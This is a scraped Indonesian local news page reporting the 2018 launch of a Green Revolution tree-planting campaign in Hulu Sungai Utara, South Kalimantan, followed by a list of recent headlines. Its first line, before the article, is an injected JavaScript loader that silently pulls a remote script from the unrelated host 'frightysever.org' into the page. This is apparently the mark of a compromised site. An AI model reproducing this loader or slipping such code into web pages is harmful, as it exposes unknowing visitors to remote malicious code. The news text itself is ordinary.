(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Canangkan Gerakan Revolusi Hijau, Bupati HSU Harapkan Partisipasi Masyarakat


AMUNTAI, Hutan kota sekaligus Kawasan Situs Candi Agung Amuntai dijadikan tempat digelarnya pencanangan Gerakan Revolusi Hijau oleh Pemerintah Kabupaten Hulu Sungai Utara (HSU), Selasa (17/7). Pencanangan tersebut digelar seiring dengan Peringatan Hari Lingkungan Hidup se Dunia ke-46 tahun 2018 yang aksi penanamannya dilakukan oleh Bupati, Wakil Bupati, Ketua DPRD, Forkopimda, serta Komunitas Hijau HSU-Balangan dan pelajar.

Kepala Dinas Perumahan, Permukiman dan Lingkungan Hidup HSU Risnaidy menuturkan, pencemaran dan kerusakan lingkungan hidup begitu cepat terjadi sehingga perlu aksi cepat untuk mengatasinya. “Lahan kritis di Kalimantan Selatan kalsel mencapai 35000 hektar, perlu 20 tahun untuk melakukan penutupan lahan,” terang Risnaidy.

Dia mengatakan, gerakan revolusi hijau yang digaungkan Gubernur Kalsel dengan jargon “Tanam, tanam dan tanam” perlu terus dilakukan seumur hidup demi kelangsungan hidup anak cucu. “Berdasarkan riset, setiap manusia membutuhkan sedikitnya tiga pohon besar untuk asupan oksigen setiap hari, jika jumlah pohon berkurang maka akan mengancam kelangsungan hidup manusia,” jelasnya.

Aksi penghijauan diharapkan dapat memperbaiki kualitas lahan yang kritis di Kalsel. Dimana indeks kualitas lahan di Kalsel menempati peringkat ke-24 di Indonesia. Aksi penghijauan (green action) seiring Peringatan Hari Lingkungan Hidup se-Dunia di Kabupaten HSU ditandai dengan penanaman sejumlah bibit pohon langka di Kawasan Candi Agung Amuntai seperti bibit pohon Belangiran, Kastuti, Jelutung, dan Ulin.

Selain masalah lahan kritis, permasalahan lingkungan juga terkait dengan sampah plastik yang sulit diurai oleh mikroorganisme. “Jumlah sampah yang dihasilkan masyarakat HSU diperkirakan sebanyak 110 ton per hari termasuk di antara sampah plastik. Sedangkan pengelolaan sampah baru mencapai 40 persen karena keterbatasan sarana dan prasarana,” tutur Rusnaidy.(dew)

Reporter:Dew
Editor:Cell

Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

2 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

5 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

8 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

10 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

11 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

12 jam ago

This website uses cookies.